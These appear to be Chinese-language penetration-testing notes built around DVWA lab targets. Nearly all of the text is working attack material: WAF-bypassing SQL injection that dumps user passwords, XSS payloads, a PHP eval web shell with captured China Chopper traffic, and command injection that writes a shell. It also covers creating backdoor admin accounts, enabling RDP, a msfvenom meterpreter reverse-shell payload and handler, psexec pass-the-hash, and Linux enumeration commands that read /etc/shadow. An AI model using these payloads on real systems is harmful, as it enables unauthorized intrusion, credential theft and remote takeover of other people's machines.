Safe: 10-渗透测试进阶

allow_url_fopen = On
allow_url_include = On

# SQL注入 1' and 1 = 1 #
# XSS注入 <script>alert(1)</script>

1.关闭apache程序及httpd.exe进程
2.运行 cmd，进入 apache/bin 目录， 执行 .\httpd.exe -k install -n apache2.4.39
# apache bin 目录位置可通过 phpstudy - 设置 - 文件位置 - apache 中找到 之后在 任务管理器-服务 中可以看到对应的 apache2.4.39 服务

- 搜索框输入 service ，打开"查看本地服务"
- 未看到apache服务
- 先在 phpstudy 上停止 apache 服务
- 进入 phpstudy 的 apache bin目录 C:\phpstudy_pro\Extensions\Apache2.4.39\bin

cd C:\phpstudy_pro\Extensions\Apache2.4.39\bin
# 安装和启动apache服务
.\httpd.exe -k install -n apache2.4.39
# 再查看本地服务，就可以看到apache服务了
搜索框输入 service ，打开"查看本地服务"
# 点击左侧"启动此服务"

# 尝试替换注释
1' and '1'='1 # 被拦截
1' and '1'='1 --  被拦截
1' and '1'='1 -- - 被拦截
1' # 没有被拦截
安全狗不拦截井号，尝试其它关键字

# 尝试替换 and
1' /*!and*/ '1'='1 # 被拦截
1' /*!11445and*/ '1'='1 # 绕过

1'/*!11445and*/'1'='1

http://124.222.171.19:8080/vulnerabilities/sqli/?id=1' group by 1 --+&Submit=Submit#

use dvwa
mysql> select user from users where user like 'a%'; # 查询结果中user包以a为开头的值
+-------+
| user  |
+-------+
| admin |
+-------+

mysql> select user from users where user regexp 'a'; # 查询结果中user值包含a字符串的值
+-------+
| user  |
+-------+
| admin |
| pablo |
+-------+

mysql> select user from users where user_id =1 regexp "%0A%23";
# %0A 换行，%23 代表#号

1' regexp "%0A%23" /*!11144union %0A select */1,2--+

# 没有哪条数据能匹配换行和#的，目的为了让sql语句变得复杂
# union select 会被安全狗拦截，所以这里加了 %0A 表示换行

1' regexp "%0A%23" /*!11144union %0A select */database(),2--+

?id=-1' regexp "%0A%23"/*!11144union %0A select*/ 1,database(%0A /*!11144*/)--+

-1' regexp "%0A%23"/*!11144union %0A select*/ user(%0A /*!11144*/),database(%0A /*!11144*/)--+
# 1 改成 -1 是为了在显示位不足时，让 union 的左边查不出来，把页面的显示位留给右边的查询内容。

-1' union /*//--/*/ select 1,group_concat(schema_name) from information_schema. /*//--/*/ schemata --+

docker pull citizenstig/dvwa 

-1' union /*!--+/*%0aselect/*!1,*/ group_concat(schema_name) /*!from*/ /*!--+/*%0ainformation_schema./*!schemata*/ --+
# mysql 本身支持这种写法，不用管/*! /*有没有闭合

mysql> select user,password from users where user_id = '-1' union /*!-- /*
    -> select/*!1,*/ group_concat(schema_name) /*!from*/ /*!-- /*
    -> information_schema./*!schemata*/; -- ';
+------+--------------------------------------------------+
| user | password                                         |
+------+--------------------------------------------------+
| 1    | information_schema,dvwa,mysql,performance_schema |
+------+--------------------------------------------------+
1 row in set (0.00 sec)

# 按向上方向键
# mysql 本身支持这种写法，不用管/*! /*有没有闭合
mysql>  select user,password from users where user_id = '-1' union /*! select/*!1,*/ group_concat(schema_name)    /*!from*/      /*!information_schema./*!schemata*/;
+------+--------------------------------------------------+
| user | password                                         |
+------+--------------------------------------------------+
| 1    | information_schema,dvwa,mysql,performance_schema |
+------+--------------------------------------------------+
1 row in set (0.00 sec)

-1' union /*!--+/*%0aselect/*!1,*/ group_concat(table_name) /*!from*/ /*!--+/*%0ainformation_schema./*!tables*/ where table_schema='dvwa' --+

-1' union /*!--+/*%0aselect/*!1,*/ group_concat(column_name) /*!from*/ /*!--+/*%0ainformation_schema./*!columns*/ where table_name='users' --+

-1' union /*!--+/*%0aselect/*!1,*/ group_concat(concat_ws(0x7e,user,password)) /*!from*/ dvwa.users --+

<script>alert(1)</script>

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIHRlc3QiKTs8L3NjcmlwdD4="

<svg/onload=alert(1)>

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/11.0.1 Safari/604.3.5
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/11.0.1 Safari/604.3.5
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.45 Safari/535.19
Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ko; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2
Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4
Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko)
Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

<?php @eval($_POST[test])?>

#说明
<?php ?> 是php语言的格式，eval将括号内的字符串解析为php代码；
$_POST[test] 为获取post参数test的值；
@是抑制符号，屏蔽函数执行过程中遇到问题而产生的一些错误、警告信息，这样用户就看不到程序的出错信息。

POST /dvwa/hackable/uploads/one.php HTTP/1.1
Cache-Control: no-cache
X-Forwarded-For: 15.81.203.20
Referer: http://192.168.85.188
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: 192.168.85.188
Content-Length: 628
Connection: Close

test=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMC IpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2B fCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1Rb InoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQs MCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7JGN9IjtAc3lzdGVt KCRyLiIgMj4mMSIsJHJldCk7cHJpbnQgKCRyZXQhPTApPyIKcmV0PXskcmV0fQoiOiIiOztlY2hvKCJ8 PC0iKTtkaWUoKTs%3D&z1=Y21k&z2=Y2QgL2QgIkM6XHBocFN0dWR5XFBIUFR1dG9yaWFsXFdXV1xEVl dBXGhhY2thYmxlXHVwbG9hZHNcIiZ3aG9hbWkmZWNobyBbU10mY2QmZWNobyBbRV0%3D

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);e cho("- >|");;$p=base64_decode($_POST["z1"]);$s=base64_decode($_POST["z2"]);$d=dirname($ _SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \" {$s}\"";$r="{$p} {$c}";@system($r." 2>&1",$ret);print ($ret!=0)?" ret={$ret} ":"";;echo("|<-");die();&z1=cmd&z2=cd /d "C:\phpStudy\PHPTutorial\WWW\DVWA\hackable\uploads\"&whoami&echo [S]&cd&echo [E]

z1=cmd

z2=cd /d "C:\phpStudy\PHPTutorial\WWW\DVWA\hackable\uploads\"&whoami&echo [S]&cd&echo [E]

该语句意思为进入C:\phpStudy\PHPTutorial\WWW\DVWA\hackable\uploads目录执行cmd命令 whoami，并且输出。这就是中国菜刀的流量通信的特征。

http://192.168.85.150/dvwa/vulnerabilities/sqli/?id=1' union select 1,'<?php phpinfo();?>'into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\DVWA\\mysql2.php'-- +&Submit=Submit#

127.0.0.1 && whoami

127.0.0.1 && dir

127.0.0.1 && echo ^<?php @eval($_POST[test]);?^>>C:\phpStudy\PHPTutorial\WWW\DVWA\a.php

dir C:\phpStudy\PHPTutorial\WWW\DVWA

whoami      查看当前权限
ipconfig    查看服务器为内网还是外网
quser       查看管理是否在线
systeminfo  查看服务器信息及相应的补丁，可找相应的补丁提权
tasklist    查看当前运行的进程，是否有av，可利用的第三方的服务提权等
net user    查看用户
net user admin adqqq7! /add 添加账户
net localgroup administrators admin /add 将admin这个用户加到管理组
net user guest /active:yes 激活guest账户
net user administrator 123456 设置用户密码
net user admin /del 删除admin账户
tasklist /svc   查看进程服务
tasklist /m dll 查看调用某个dll的进程
tasklist /v     显示当前进程和进程用户
qwinsta         显示会话情况
net config workstation 查看当前登陆用户信息
hostname        主机名
set             查看环境变量
net view        显示当前域或工作组中计算机的列表
net statistics workstation 查看主机开机时间
net share       查看共享文件夹

乱码使用chcp 437即可

查看3389是否开启，0x0为开，0x1为关
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /vfDenyTSConnections

wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1

wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /vfSingleSessionPerUser /t REG_DWORD /d 0 /f

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /vfDenyTSConnections /t REG_DWORD /d 00000000 /f

wmic path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.85.137 lport=5555 -f exe -o 5555.exe
// lhost 需改成kali机器的IP

msf监听端口
msfconsole
use exploit/multi/handler
options
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.85.137
set lport 5555
run

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 

用户名:xxx:LM哈希:NTLM哈希(用户密码):::

use exploit/windows/smb/psexec
set RHOSTS 192.168.85.150
set SMBUser administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:1ced49662211f8194549a7b355a5e211
exploit

id
whoami
who
w
last
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'
awk -F: '($3 == "0") {print}' /etc/passwd
cat /etc/sudoers
sudo -l

cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release # Debian
cat /etc/redhat-release # Redhat

cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-

cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set

ps aux
ps -ef
top
cat /etc/services

ps aux | grep root
ps -ef | grep root

ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archives
ls -alh /var/cache/yum/

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/apache2/apache2.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/'

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /var/spool/cron/crontabs/root
cat /etc/crontab

grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla

find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc

find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp

arp -e
route
/sbin/route -nee

lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last

-p, --payload <payload> 指定需要使用的payload(攻击荷载)
-l, --list [module_type] 列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all
-n, --nopsled <length> 为payload预先指定一个NOP滑动长度
-f, --format <format> 指定输出格式 (使用 --list formats 来获取msf支持的输出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder（编码器）
-a, --arch <architecture> 指定payload的目标架构
--platform <platform> 指定payload的目标平台
-s, --space <length> 设定有效攻击荷载的最大长度
-b, --bad-chars <list> 设定规避字符集，比如: '\x00\xff'
-i, --iterations <count> 指定payload的编码次数
-c, --add-code <path> 指定一个附加的win32 shellcode文件
-x, --template <path> 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作，注入的payload作为一个新的进程运行
--payload-options 列举payload的标准选项
-o, --out <path> 保存payload
-v, --var-name <name> 指定一个自定义的变量，以确定输出格式
--shellest 最小化生成payload
-h, --help 查看帮助选项
--help-formats 查看msf支持的输出格式列表

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.85.137 lport=5555 - f exe -o 5555.exe

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.168.137
set lport 5555
run

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=XXXX lport=XX -f exe -o XX.exe